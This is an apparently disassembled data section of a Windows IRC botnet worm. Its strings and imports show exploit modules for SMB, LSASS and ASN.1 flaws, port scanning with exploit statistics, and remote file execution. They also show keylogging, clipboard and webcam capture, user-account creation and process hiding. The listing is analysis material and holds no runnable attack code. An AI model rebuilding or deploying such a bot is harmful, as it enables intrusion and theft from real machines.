aSS_0		db '%s%s/',0            ; DATA XREF: sub_404A02+374o
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404A02+330o
					; sub_404A02+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_404A02+30Eo
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_404A02+2E4o
					; sub_404A02+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_404A02+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_404A02+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_404A02+284o
		align 4
a__0:					; DATA XREF: sub_404A02+24Do
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_404A02+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404A02+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404A02+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404A02+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_404A02+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_404A02+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_404A02+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404A02+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40516F+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_4226B8	dd 4000500h, 7868746Bh,	0dword_4226C4	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_405290+47Fo
		dd 2029206Ch, 2BBBB02h
aFileSentToSExe	db '  File sent to %s, executing %s on remote machine.',0
		align 4
unk_422714	db    2			; DATA XREF: sub_405290+3B6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundOn	db '  File not found on %s, (%s).',0
		align 10h
dword_422750	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_405290+399o
unk_422764	db    2			; DATA XREF: sub_405290+33Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFileSentToSE_0	db 'File sent to %s, executing %s on remote machine.',0
		align 4
unk_4227B8	db    2			; DATA XREF: sub_405290+15Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s (possible virus scan!)',0
		align 4
unk_422808	db    2			; DATA XREF: sub_405290+6Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketF_2	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: sub_405290+Fo
		align 4
aAsn1http_0	db 'asn1http',0         ; DATA XREF: sub_405DDD+164o
		align 2
aAsn1http	db 'asn1http',0         ; DATA XREF: sub_4032B0+1C8o
		align 4
		dd 5 dup(0)
dword_422880	dd 50h							; .nsp0:0040CEA7r ...
off_422884	dd offset sub_4032B0	; DATA XREF: sub_405DDD+1E6r
dword_422888	dd 0							; sub_4032B0+202r ...
dword_42288C	dd 1		dword_422890	dd 1		aMsass445	db 'msass445',0
		align 2
aAsn1smb	db 'asn1smb',0
		align 4
		dd 5 dup(0)
		dd 1BDh, 4032B0h, 0
		dd 2 dup(1), 316E7361h,	3933h, 73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	4032B0h, 0
		dd 2 dup(1), 6D7973h, 0
		dd 79530000h, 746E616Dh, 6365h,	5 dup(0)
		dd 0B97h, 40399Fh, 0
		dd 2 dup(1), 6D7973h, 0
		db 2 dup(0)
byte_422952	db 1			; DATA XREF: .nsp0:loc_40E8A4r
					; .nsp0:0040E8AEo
aAsn139		db 'asn139',0
		align 4
		dd 100h, 3 dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_405787+81o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_405787+42o
		align 4
unk_42298C	db    2			; DATA XREF: sub_405787+11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_4229C4	db    2			; DATA XREF: sub_405851+42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_4229F8	db    2			; DATA XREF: sub_405851+2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_422A2C	db    2			; DATA XREF: .nsp0:00405C37o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_422A74	db    2			; DATA XREF: .nsp0:loc_405BCFo
					; .nsp0:0040EDECo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_422AC4	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: .nsp0:00405B2Fo
		dd 2029206Ch, 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_422B08	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: .nsp0:00405AC2o
		dd 2029206Ch, 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_422B5C	db    2			; DATA XREF: .nsp0:00405A11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start server, error: <%d>.',0
		align 4
unk_422BA4	db    2			; DATA XREF: .nsp0:004059A3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_405CA4+38o
					; sub_408045+46o
unk_422C04	db    2			; DATA XREF: sub_405DDD+EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_422C40	db    2			; DATA XREF: sub_405DDD+93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_422C90	db    2			; DATA XREF: sub_405FF1:loc_4061BFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_422CE8	db    2			; DATA XREF: sub_405FF1+173o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_422D38	db    2			; DATA XREF: sub_405FF1+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_422D84	db    2			; DATA XREF: sub_405FF1+87o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 10h
unk_422DD0	db    2			; DATA XREF: sub_406250+156o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '  Failed to start client thread, error: <%d>.',0
		align 10h
unk_422E20	db    2			; DATA XREF: sub_406250+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '  Client connection from IP: %s:%d, Server thread: %d.',0
unk_422E78	db    2			; DATA XREF: .nsp0:00406582o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '  Failed to start connection thread, error: <%d>.',0
		align 4
unk_422ECC	db    2			; DATA XREF: .nsp0:004064B9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '  Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_422F24	db    2			; DATA XREF: sub_40665C+C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_422F58	db    2			; DATA XREF: sub_40665C+5Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_406774+107o
		align 4
aSS_3		db '%s\%s',0            ; DATA XREF: sub_406774+45o
					; .nsp0:00409C84o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_406774+1Ao
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4068C6+C50o
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4068C6+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4068C6:loc_407501o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4068C6+BE6o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4068C6+BD9o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4068C6+BCCo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4068C6+BBFo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4068C6+BB2o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4068C6+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4068C6:loc_407463o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4068C6+B68o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4068C6+B60o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4068C6:loc_407419o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4068C6+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4068C6+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4068C6+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4068C6+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4068C6:loc_4073A5o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4068C6+AAAo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4068C6+AA2o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4068C6:loc_40735Bo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4068C6+A60o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4068C6+A58o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4068C6:loc_407311o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4068C6+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4068C6+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4068C6+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4068C6+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4068C6+99Ao
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4068C6+98Do
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4068C6+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4068C6+973o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4068C6+966o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4068C6+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4068C6+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4068C6:loc_407206o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4068C6+903o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4068C6+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4068C6+8EEo
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4068C6:loc_4071A7o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4068C6+8B4o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4068C6+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4068C6+835o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4068C6+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4068C6+81Bo
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4068C6+80Eo
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4068C6+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4068C6+7F4o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4068C6+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4068C6+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4068C6+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4068C6:loc_407087o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4068C6+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4068C6+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4068C6+66Eo
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4068C6+661o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4068C6+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4068C6+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4068C6+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4068C6+62Do
					; .nsp0:00425FB4o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4068C6+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4068C6+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4068C6+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4068C6+5F9o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4068C6+5ECo
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_4068C6+5DFo
		align 4
aSend		db 'send',0             ; DATA XREF: sub_4068C6+5D2o
					; .nsp0:0040C025o
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4068C6+5C5o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4068C6+5B8o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_4068C6+5ABo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4068C6+59Eo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4068C6+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4068C6+584o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4068C6+577o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4068C6+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_4068C6+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4068C6+550o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4068C6+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4068C6+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4068C6+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4068C6+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4068C6+50Fo
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4068C6+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4068C6+4F6o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4068C6+483o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4068C6+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4068C6+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4068C6+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4068C6+44Fo
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4068C6+442o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4068C6+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4068C6+428o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4068C6+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4068C6:loc_406CD5o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4068C6:loc_406CADo
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4068C6+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4068C6+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4068C6+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4068C6+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4068C6+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4068C6+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4068C6+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4068C6:loc_406BFFo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4068C6+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4068C6+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4068C6:loc_406BBAo
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4068C6+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4068C6+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4068C6+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4068C6+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4068C6+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4068C6+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4068C6:loc_406B25o
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4068C6+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4068C6+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4068C6+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4068C6:loc_406ABEo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4068C6+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4068C6+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4068C6+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4068C6+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4068C6+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4068C6+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4068C6+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4068C6+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4068C6:loc_4069FBo
					; sub_41AFBE+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4068C6:loc_4069CEo
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4068C6+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4068C6+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4068C6+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4068C6+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4068C6+6Co
